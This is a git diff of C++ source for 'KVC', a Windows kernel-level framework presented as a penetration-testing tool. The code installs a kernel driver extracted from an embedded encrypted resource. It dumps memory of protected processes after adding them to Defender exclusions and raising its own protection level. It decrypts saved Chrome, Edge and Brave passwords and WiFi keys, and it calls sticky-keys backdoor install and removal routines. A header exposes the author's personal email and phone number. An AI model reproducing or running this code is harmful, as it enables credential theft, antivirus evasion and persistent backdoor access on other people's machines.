if (IsServiceZombie()) {
|
||||
DEBUG(L"Zombie service detected - restart required");
|
||||
return false;
|
||||
}
|
||||
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) return false;
|
||||
|
||||
SC_HANDLE hService = g_pCreateServiceW(
|
||||
hSCM,
|
||||
GetServiceName().c_str(),
|
||||
L"KVC",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
driverPath.c_str(),
|
||||
nullptr, nullptr, nullptr, nullptr, nullptr
|
||||
);
|
||||
|
||||
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
|
||||
|
||||
if (hService) CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return success;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER UNINSTALLATION
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::UninstallDriver() noexcept {
|
||||
StopDriverService();
|
||||
|
||||
if (!InitDynamicAPIs()) return true;
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) {
|
||||
return true;
|
||||
}
|
||||
|
||||
std::wstring serviceName = GetServiceName();
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL success = g_pDeleteService(hService);
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
if (!success) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
|
||||
ERROR(L"Failed to delete driver service: %d", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up driver file with TrustedInstaller privileges
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
std::error_code ec;
|
||||
if (!fs::remove(driverPath, ec)) {
|
||||
if (ec.value() != ERROR_FILE_NOT_FOUND) {
|
||||
m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER EXTRACTION
|
||||
// ============================================================================
|
||||
|
||||
// Extract driver from resource (already decrypted by Utils::ExtractResourceComponents)
|
||||
std::vector<BYTE> Controller::ExtractDriver() noexcept {
|
||||
std::vector<BYTE> kvcSysData, dllData;
|
||||
|
||||
if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, dllData)) {
|
||||
ERROR(L"Failed to extract kvc.sys from resource");
|
||||
return {};
|
||||
}
|
||||
|
||||
DEBUG(L"Driver extracted: %zu bytes", kvcSysData.size());
|
||||
return kvcSysData;
|
||||
}
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerMemoryOperations.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
@@ -80,12 +55,15 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
|
||||
std::wstring processName = Utils::GetProcessName(pid);
|
||||
|
||||
// Add process to Defender exclusions to prevent interference during dumping
|
||||
// Try to add process to Defender exclusions to prevent interference during dumping
|
||||
std::wstring processNameWithExt = processName;
|
||||
if (processNameWithExt.find(L".exe") == std::wstring::npos) {
|
||||
processNameWithExt += L".exe";
|
||||
}
|
||||
m_trustedInstaller.AddProcessToDefenderExclusions(processName);
|
||||
|
||||
if (!m_trustedInstaller.AddProcessToDefenderExclusions(processName)) {
|
||||
INFO(L"AV exclusion skipped: %s", processName.c_str());
|
||||
}
|
||||
|
||||
// System process validation - these processes cannot be dumped
|
||||
if (pid == 4 || processName == L"System") {
|
||||
@@ -128,21 +106,18 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get target process protection level for elevation
|
||||
// Get target process protection level for elevation - this is auxiliary
|
||||
auto kernelAddr = GetProcessKernelAddress(pid);
|
||||
if (!kernelAddr) {
|
||||
ERROR(L"Failed to get kernel address for target process");
|
||||
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
|
||||
PerformAtomicCleanup();
|
||||
return false;
|
||||
INFO(L"Could not get kernel address for target process (continuing without self-protection)");
|
||||
}
|
||||
|
||||
auto targetProtection = GetProcessProtection(kernelAddr.value());
|
||||
auto targetProtection = std::optional<UCHAR>{};
|
||||
if (kernelAddr) {
|
||||
targetProtection = GetProcessProtection(kernelAddr.value());
|
||||
if (!targetProtection) {
|
||||
ERROR(L"Failed to get protection info for target process");
|
||||
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
|
||||
PerformAtomicCleanup();
|
||||
return false;
|
||||
INFO(L"Could not get protection info for target process (continuing without self-protection)");
|
||||
}
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
@@ -152,13 +127,13 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
return false;
|
||||
}
|
||||
|
||||
// Protection elevation to match target process level
|
||||
if (targetProtection.value() > 0) {
|
||||
// Protection elevation to match target process level - auxiliary feature
|
||||
if (targetProtection && targetProtection.value() > 0) {
|
||||
UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
|
||||
UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());
|
||||
|
||||
std::wstring levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
|
||||
std::wstring signerStr;
|
||||
std::wstring signerStr = L"Unknown";
|
||||
|
||||
switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
|
||||
case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
|
||||
@@ -170,25 +145,26 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
|
||||
case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
|
||||
default:
|
||||
ERROR(L"Unknown signer type for target process");
|
||||
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
|
||||
PerformAtomicCleanup();
|
||||
return false;
|
||||
INFO(L"Unknown signer type - skipping self-protection");
|
||||
break;
|
||||
}
|
||||
|
||||
if (signerStr != L"Unknown") {
|
||||
INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
|
||||
|
||||
if (!SelfProtect(levelStr, signerStr)) {
|
||||
ERROR(L"Failed to set self protection to %s-%s", levelStr.c_str(), signerStr.c_str());
|
||||
INFO(L"Self-protection failed: %s-%s (continuing with dump)", levelStr.c_str(), signerStr.c_str());
|
||||
} else {
|
||||
SUCCESS(L"Set self protection to %s-%s", levelStr.c_str(), signerStr.c_str());
|
||||
SUCCESS(L"Self-protection set to %s-%s", levelStr.c_str(), signerStr.c_str());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
INFO(L"Target process is not protected, no self-protection needed");
|
||||
}
|
||||
|
||||
// Try to enable debug privilege - auxiliary feature
|
||||
if (!EnableDebugPrivilege()) {
|
||||
ERROR(L"Failed to enable debug privilege");
|
||||
INFO(L"Debug privilege failed (continuing with dump anyway)");
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
@@ -199,12 +175,12 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
return false;
|
||||
}
|
||||
|
||||
// Open target process with appropriate privileges
|
||||
// Open target process with appropriate privileges - CRITICAL operation
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
ERROR(L"Failed to open process (error: %d)", GetLastError());
|
||||
ERROR(L"Critical: Failed to open process (error: %d)", GetLastError());
|
||||
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
|
||||
PerformAtomicCleanup();
|
||||
return false;
|
||||
@@ -217,9 +193,10 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
fullPath += L"\\";
|
||||
fullPath += processName + L"_" + std::to_wstring(pid) + L".dmp";
|
||||
|
||||
// Create dump file - CRITICAL operation
|
||||
HANDLE hFile = CreateFileW(fullPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
ERROR(L"Failed to create dump file (error: %d)", GetLastError());
|
||||
ERROR(L"Critical: Failed to create dump file (error: %d)", GetLastError());
|
||||
CloseHandle(hProcess);
|
||||
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
|
||||
PerformAtomicCleanup();
|
||||
@@ -249,6 +226,7 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
|
||||
INFO(L"Creating memory dump - this may take a while. Press Ctrl+C to cancel safely.");
|
||||
|
||||
// Execute the actual memory dump - CRITICAL operation
|
||||
BOOL result = MiniDumpWriteDump(hProcess, pid, hFile, dumpType, NULL, NULL, NULL);
|
||||
|
||||
if (g_interrupted) {
|
||||
@@ -269,19 +247,19 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
DWORD error = GetLastError();
|
||||
switch (error) {
|
||||
case ERROR_TIMEOUT:
|
||||
ERROR(L"MiniDumpWriteDump timed out - process may be unresponsive or in critical section");
|
||||
ERROR(L"Critical: MiniDumpWriteDump timed out - process may be unresponsive or in critical section");
|
||||
break;
|
||||
case RPC_S_CALL_FAILED:
|
||||
ERROR(L"RPC call failed - process may be a kernel-mode or system-critical process");
|
||||
ERROR(L"Critical: RPC call failed - process may be a kernel-mode or system-critical process");
|
||||
break;
|
||||
case ERROR_ACCESS_DENIED:
|
||||
ERROR(L"Access denied - insufficient privileges even with protection bypass");
|
||||
ERROR(L"Critical: Access denied - insufficient privileges even with protection bypass");
|
||||
break;
|
||||
case ERROR_PARTIAL_COPY:
|
||||
ERROR(L"Partial copy - some memory regions could not be read");
|
||||
ERROR(L"Critical: Partial copy - some memory regions could not be read");
|
||||
break;
|
||||
default:
|
||||
ERROR(L"MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error);
|
||||
ERROR(L"Critical: MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error);
|
||||
break;
|
||||
}
|
||||
DeleteFileW(fullPath.c_str());
|
||||
@@ -293,8 +271,11 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
|
||||
SUCCESS(L"Memory dump created successfully: %s", fullPath.c_str());
|
||||
|
||||
// Cleanup phase - these operations are non-critical
|
||||
INFO(L"Removing self-protection before cleanup...");
|
||||
SelfProtect(L"none", L"none");
|
||||
if (!SelfProtect(L"none", L"none")) {
|
||||
DEBUG(L"Self-protection removal failed (non-critical)");
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
INFO(L"Operation completed but cleanup was interrupted");
|
||||
@@ -303,8 +284,11 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
|
||||
return true;
|
||||
}
|
||||
|
||||
// Clean up Defender exclusions and perform atomic cleanup
|
||||
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
|
||||
// Clean up Defender exclusions and perform atomic cleanup - non-critical
|
||||
if (!m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName)) {
|
||||
DEBUG(L"AV cleanup skipped: %s", processName.c_str());
|
||||
}
|
||||
|
||||
PerformAtomicCleanup();
|
||||
|
||||
return true;
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "Controller.h"
|
||||
#include "ReportExporter.h"
|
||||
#include "common.h"
|
||||
@@ -48,27 +23,6 @@ extern volatile bool g_interrupted;
|
||||
// SQLite constants for winsqlite3.dll compatibility
|
||||
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||
|
||||
// UTF-8 string conversion utilities for DPAPI operations
|
||||
std::wstring StringToWString(const std::string& str) noexcept
|
||||
{
|
||||
if (str.empty()) return L"";
|
||||
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), nullptr, 0);
|
||||
std::wstring result(size_needed, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), result.data(), size_needed);
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string WStringToString(const std::wstring& wstr) noexcept
|
||||
{
|
||||
if (wstr.empty()) return "";
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), nullptr, 0, nullptr, nullptr);
|
||||
std::string result(size_needed, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), result.data(), size_needed, nullptr, nullptr);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Main DPAPI password extraction interface
|
||||
bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept
|
||||
{
|
||||
@@ -180,18 +134,18 @@ bool Controller::PerformPasswordExtractionInit() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!EnablePrivilege(L"SeDebugPrivilege")) {
|
||||
if (!PrivilegeUtils::EnablePrivilege(L"SeDebugPrivilege")) {
|
||||
ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!EnablePrivilege(L"SeImpersonatePrivilege")) {
|
||||
if (!PrivilegeUtils::EnablePrivilege(L"SeImpersonatePrivilege")) {
|
||||
ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege");
|
||||
return false;
|
||||
}
|
||||
|
||||
EnablePrivilege(L"SeBackupPrivilege");
|
||||
EnablePrivilege(L"SeRestorePrivilege");
|
||||
PrivilegeUtils::EnablePrivilege(L"SeBackupPrivilege");
|
||||
PrivilegeUtils::EnablePrivilege(L"SeRestorePrivilege");
|
||||
|
||||
if (!m_trustedInstaller.PublicImpersonateSystem()) {
|
||||
ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError());
|
||||
@@ -477,21 +431,6 @@ bool Controller::ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& maste
|
||||
return !masterKeys.empty();
|
||||
}
|
||||
|
||||
// Convert byte vector to hex string for display
|
||||
std::string Controller::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
|
||||
{
|
||||
if (bytes.empty()) return "";
|
||||
|
||||
std::ostringstream hexStream;
|
||||
hexStream << std::hex << std::setfill('0');
|
||||
|
||||
for (const auto& byte : bytes) {
|
||||
hexStream << std::setw(2) << static_cast<int>(byte);
|
||||
}
|
||||
|
||||
return hexStream.str();
|
||||
}
|
||||
|
||||
// Process browser passwords with master key decryption
|
||||
bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys,
|
||||
std::vector<PasswordResult>& results,
|
||||
@@ -506,7 +445,7 @@ bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& m
|
||||
std::string localAppDataA(appData);
|
||||
free(appData);
|
||||
|
||||
std::wstring localAppData = StringToWString(localAppDataA);
|
||||
std::wstring localAppData = StringUtils::UTF8ToWide(localAppDataA);
|
||||
auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData();
|
||||
|
||||
bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath);
|
||||
@@ -589,7 +528,7 @@ bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath,
|
||||
|
||||
std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1);
|
||||
|
||||
std::vector<BYTE> encryptedKeyBytes = Base64Decode(encryptedKeyBase64);
|
||||
std::vector<BYTE> encryptedKeyBytes = CryptoUtils::Base64Decode(encryptedKeyBase64);
|
||||
if (encryptedKeyBytes.empty()) {
|
||||
ERROR(L"Failed to decode base64 master key");
|
||||
return false;
|
||||
@@ -631,7 +570,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
||||
}
|
||||
|
||||
void* db;
|
||||
std::string tempDbPathA = WStringToString(tempDbPath);
|
||||
std::string tempDbPathA = StringUtils::WideToUTF8(tempDbPath);
|
||||
|
||||
if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) {
|
||||
ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str());
|
||||
@@ -660,11 +599,11 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
||||
result.profile = profileName;
|
||||
|
||||
if (auto urlText = m_sqlite.column_text(stmt, 0)) {
|
||||
result.url = StringToWString(reinterpret_cast<const char*>(urlText));
|
||||
result.url = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(urlText));
|
||||
}
|
||||
|
||||
if (auto usernameText = m_sqlite.column_text(stmt, 1)) {
|
||||
result.username = StringToWString(reinterpret_cast<const char*>(usernameText));
|
||||
result.username = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(usernameText));
|
||||
}
|
||||
|
||||
const BYTE* pwdBytes = static_cast<const BYTE*>(m_sqlite.column_blob(stmt, 2));
|
||||
@@ -673,7 +612,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
||||
if (pwdBytes && pwdSize > 0) {
|
||||
std::vector<BYTE> encryptedPwd(pwdBytes, pwdBytes + pwdSize);
|
||||
std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey);
|
||||
result.password = StringToWString(decryptedPwd);
|
||||
result.password = StringUtils::UTF8ToWide(decryptedPwd);
|
||||
result.status = DPAPIConstants::GetStatusDecrypted();
|
||||
|
||||
results.push_back(result);
|
||||
@@ -755,8 +694,8 @@ bool Controller::ExtractWiFiCredentials(std::vector<PasswordResult>& results) no
|
||||
if (!password.empty()) {
|
||||
PasswordResult wifiResult;
|
||||
wifiResult.type = L"WiFi";
|
||||
wifiResult.profile = StringToWString(profile);
|
||||
wifiResult.password = StringToWString(password);
|
||||
wifiResult.profile = StringUtils::UTF8ToWide(profile);
|
||||
wifiResult.password = StringUtils::UTF8ToWide(password);
|
||||
wifiResult.status = DPAPIConstants::GetStatusDecrypted();
|
||||
results.push_back(wifiResult);
|
||||
}
|
||||
@@ -823,24 +762,6 @@ void Controller::UnloadSQLiteLibrary() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Base64 decode using Windows CryptAPI
|
||||
std::vector<BYTE> Controller::Base64Decode(const std::string& encoded) noexcept
|
||||
{
|
||||
DWORD decodedSize = 0;
|
||||
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
std::vector<BYTE> decoded(decodedSize);
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, decoded.data(), &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
decoded.resize(decodedSize);
|
||||
return decoded;
|
||||
}
|
||||
|
||||
// DPAPI decryption for browser master keys
|
||||
std::vector<BYTE> Controller::DecryptWithDPAPI(const std::vector<BYTE>& encryptedData,
|
||||
const std::vector<RegistryMasterKey>& masterKeys) noexcept
|
||||
@@ -921,31 +842,6 @@ std::string Controller::DecryptChromeAESGCM(const std::vector<BYTE>& encryptedDa
|
||||
return std::string(encryptedData.begin(), encryptedData.end());
|
||||
}
|
||||
|
||||
bool Controller::EnablePrivilege(LPCWSTR privilegeName) noexcept
|
||||
{
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) {
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp = {};
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
||||
DWORD lastError = GetLastError();
|
||||
CloseHandle(hToken);
|
||||
|
||||
return result && (lastError == ERROR_SUCCESS);
|
||||
}
|
||||
|
||||
// Browser data extraction with kvc_pass integration
|
||||
bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept
|
||||
{
|
||||
@@ -970,8 +866,10 @@ bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::ws
|
||||
}
|
||||
|
||||
// Validate browser type
|
||||
if (browserType != L"chrome" && browserType != L"brave" && browserType != L"edge") {
|
||||
ERROR(L"Unsupported browser type: %s. Supported: chrome, brave, edge", browserType.c_str());
|
||||
if (browserType != L"chrome" && browserType != L"brave" &&
|
||||
browserType != L"edge" && browserType != L"all") {
|
||||
ERROR(L"Unsupported browser type: %s. Supported: chrome, brave, edge, all",
|
||||
browserType.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -993,7 +891,7 @@ bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::ws
|
||||
}
|
||||
|
||||
// Wait for completion with timeout
|
||||
DWORD waitResult = WaitForSingleObject(pi.hProcess, 30000); // 30 seconds timeout
|
||||
DWORD waitResult = WaitForSingleObject(pi.hProcess, 5000); // 5 seconds timeout
|
||||
|
||||
DWORD exitCode = 0;
|
||||
GetExitCodeProcess(pi.hProcess, &exitCode);
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerSystemIntegration.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
@@ -140,3 +115,26 @@ bool Controller::InstallStickyKeysBackdoor() noexcept {
|
||||
bool Controller::RemoveStickyKeysBackdoor() noexcept {
|
||||
return m_trustedInstaller.RemoveStickyKeysBackdoor();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WATERMARK MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::RemoveWatermark() noexcept
|
||||
{
|
||||
WatermarkManager wmManager(m_trustedInstaller);
|
||||
return wmManager.RemoveWatermark();
|
||||
}
|
||||
|
||||
bool Controller::RestoreWatermark() noexcept
|
||||
{
|
||||
WatermarkManager wmManager(m_trustedInstaller);
|
||||
return wmManager.RestoreWatermark();
|
||||
}
|
||||
|
||||
std::wstring Controller::GetWatermarkStatus() noexcept
|
||||
{
|
||||
WatermarkManager wmManager(m_trustedInstaller);
|
||||
return wmManager.GetWatermarkStatus();
|
||||
}
|
||||
|
||||
|
||||
233
kvc/CryptCore.cpp
Normal file
233
kvc/CryptCore.cpp
Normal file
@@ -0,0 +1,233 @@
|
||||
// CryptCore.cpp - Security module entry point and workflow coordination
|
||||
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
|
||||
#include "CryptCore.h"
|
||||
#include "BrowserCrypto.h"
|
||||
#include "DataExtraction.h"
|
||||
#include "CommunicationModule.h"
|
||||
#include "SelfLoader.h"
|
||||
#include <memory>
|
||||
#include <stdexcept>
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
// Initializes security orchestrator and establishes pipe communication
|
||||
SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName)
|
||||
{
|
||||
m_logger.emplace(lpcwstrPipeName);
|
||||
|
||||
if (!m_logger->isValid())
|
||||
{
|
||||
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
|
||||
}
|
||||
ReadPipeParameters();
|
||||
}
|
||||
|
||||
// Main execution workflow: decrypt keys, enumerate profiles, extract data
|
||||
void SecurityOrchestrator::Run()
|
||||
{
|
||||
BrowserManager browserManager;
|
||||
const auto& browserConfig = browserManager.getConfig();
|
||||
m_logger->Log("[*] Security analysis process started for " + browserConfig.name);
|
||||
|
||||
std::vector<uint8_t> comKey, dpapiKey;
|
||||
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
|
||||
|
||||
// Edge requires split-key strategy: different keys for different data types
|
||||
if (browserConfig.name == "Edge")
|
||||
{
|
||||
m_logger->Log("[*] Initializing split-phase strategy for Edge");
|
||||
|
||||
// Phase 1: COM elevation for cookies and payment data
|
||||
try {
|
||||
m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)");
|
||||
MasterKeyDecryptor comDecryptor(*m_logger);
|
||||
